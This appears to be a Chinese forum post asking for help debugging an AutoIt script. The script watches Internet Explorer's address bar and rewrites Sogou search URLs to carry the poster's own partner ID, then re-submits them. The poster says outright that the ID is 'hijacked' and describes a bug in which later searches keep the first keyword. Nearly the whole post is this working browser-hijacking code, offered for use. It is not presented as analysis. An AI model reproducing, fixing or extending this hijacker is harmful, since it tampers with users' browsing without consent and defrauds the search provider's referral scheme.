这脚本哪里错误
Global $Hk0="AQqDA&query" , $Hk1="http://www.sogou.com/", $Hk2="http://www.gougou.com/",$Hk3="http://www.soso.com/",$Hk4="http://cn.bing.com/",$Hk5="http://58.ieeie.com/so3.html",$Hk6="about:Tabs",$Hk7="about:blank",$Hk8="http://hao123.com/",$Hk9="http://www.hao123.com/"Global $HomePageURL="http://www.sogou.com/index.htm?pid=sogou-netb-bf201d5407a6509f-1686"
$wj1="as.txt"
$config=@ScriptDir&"\config.ini"
FileDelete($wj1)
$PID="sogou-netb-bf201d5407a6509f-1687="
While 1
a1()
Sleep(100)
$pd=IniRead($config,"劫持","页面","")
WEnd
$58jc=0
Func a1()
If ProcessExists("iexplore.exe") Then
$GoToUrl=ControlGetText("","","Edit1")
If Not StringCompare($GoToUrl,$pd) Then
Else
if StringInStr($GoToUrl,$Hk0) Then
FileWrite($wj1,"[获取]"& @CRLF&$GoToUrl &@CRLF)
$jx=IniRead($wj1,"获取","http://www.sogou.com/sogou?pid","")
FileWrite($wj1,"[内容]"& @CRLF&$jx &@CRLF)
$nr=IniRead($wj1,"内容","AQqDA&query","")
IniWrite("123.txt","地址","内容","http://www.sogou.com/sogou?pid="&$pid&"&query="&$nr)
$dizhi=IniRead("123.txt","地址","内容","")
ControlSetText("","","Edit1",$dizhi)
Sleep(200)
ControlSend("","","Edit1","{ENTER}")
Sleep(200)
Exit
EndIf
EndIf
EndIf
EndFunc
测试方式打开 淘123
http://www.tao123.com/?3460_1111
然后里面有个搜狗搜索
AAAA 点击搜索 看地址PID已劫持 但问题来了
再一次 点击时候的时候 换个名字不如这次搜索BBBB结果也是劫持到AAAA关键字
页:
[1]